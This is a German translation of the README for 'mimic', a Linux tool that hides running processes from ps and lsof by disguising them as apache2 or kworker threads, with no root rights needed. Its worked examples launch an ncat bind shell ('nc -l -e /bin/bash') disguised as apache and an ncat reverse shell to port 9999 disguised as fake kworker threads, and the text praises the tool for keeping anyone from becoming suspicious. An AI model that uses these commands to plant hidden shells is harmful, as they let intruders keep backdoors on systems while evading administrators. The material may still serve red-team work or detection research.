
Verstecke Prozesse als normaler Benutzer in Linux.
mimic ist ein Werkzeug zur verdeckten Ausführung auf Linux x86_64.
Was ist "verdeckte Ausführung"?
Verdeckte Ausführung ist die Kunst, einen Prozess zu verstecken. In diesem Fall versteckt mimic den Prozess, ohne dass er auffällt. mimic kann jedes Programm starten und es wie jedes andere Programm aussehen lassen. Jeder Benutzer kann es verwenden. Es benötigt keine speziellen Berechtigungen. Es benötigt keine speziellen Binärdateien. Es benötigt kein Rootkit.
Was?! Keine speziellen Privilegien??
Das ist richtig. mimic funktioniert, indem es die internen Strukturen eines Prozesses so umordnet, dass der /proc-Eintrag für diesen Prozess verwirrt wird. Alle Werkzeuge, die die Natur eines Prozesses melden, tun dies durch Untersuchen von /proc. Wenn wir /proc biegen können, können wir einen Prozess verstecken, ohne dass er auffällt. Da wir nur den Zustand eines Prozesses ändern, den wir besitzen, kann jeder erfolgreich mimic ausführen.
Kann dies erkannt werden?!
Natürlich, aber nur, wenn man sehr genau hinschaut oder ein forensisches Werkzeug ausführt, das nach dieser Art von Dingen sucht. Der Nutzen von mimic besteht darin, dass es verhindert, dass jemand überhaupt misstrauisch wird.
Funktioniert das mit Skripten?
Ja, aber du musst mimic direkt auf dem Interpreter aufrufen. Wenn die erste Zeile deines Skripts beispielsweise "#!/usr/bin/perl" lautet, dann solltest du mimic so aufrufen:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
Durch direktes Aufrufen des Interpreters kann mimic seine Magie entfalten.
Wer ist die Zielgruppe von mimic?
Jeder, der legitimerweise verdeckte Ausführung benötigt, bevor er Root-Rechte erlangt hat. Dies umfasst, ist aber nicht beschränkt auf:
Warum heißt es "mimic"?
Weil "Lügner, Lügner, /proc brennt!" zu lang war.
Was ist "set_target_pid"?
set_target_pid ist ein kleines Hilfsprogramm in der mimic-Suite, das PIDs erschöpft, bis die gewünschte PID wiederkommt. Dies ermöglicht es dir, auszuwählen, wo in der Prozessliste dein Prozess platziert werden soll. Beachte, dass der Kernel die ersten 300 PIDs für Kernel-Threads reserviert. Wenn du versuchst, darunter zu gehen, wirst du wahrscheinlich mit PID 301 laufen.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Führe COMMAND aus.
-m Richte COMMAND so ein, dass es wie MIMIC aussieht.
Standard für Nicht-Root: "/usr/sbin/apache2 -k start"
Standard für Root: "[kworker/0:0]"
-b Starte COMMAND im Hintergrund.
-a Füge KEY zur mimic-Umgebung hinzu / überschreibe ihn mit dem zugehörigen VALUE.
-q Sei leise! Gib keine normale Ausgabe aus.
-h Diese hilfreiche Nachricht anzeigen.
Hinweise:
Die MIMIC-Umgebung wird eine Kopie der COMMAND-Umgebung sein.
Die Variable '_' wird automatisch geändert.
Das -a-Flag kann mehrmals aufgerufen werden, um mehrere Variablen hinzuzufügen/zu überschreiben.
Beispiele:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Erstes Beispiel - Starten eines netcat-Listeners als normaler Benutzer:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Zweites Beispiel - Starten einer netcat-Reverse-Shell als Root:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
Kannst du die gefälschten Kworker erkennen? Wärst du dazu ohne die Hilfe von grep in der Lage?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Natürlich sollte kein Kworker einen offenen Socket haben, aber ich bin sicher, du kannst bei deiner Namenswahl kreativer sein als das. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Beachte, dass ich hier nur als Root laufe, weil ein Kworker-Thread sehr verdächtig wäre, wenn er als Nicht-Root-Benutzer läuft. Der neue mimic-Name ist nur ein String. Es muss kein existierender Prozess sein. Zur Hölle, es muss nicht einmal real sein!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make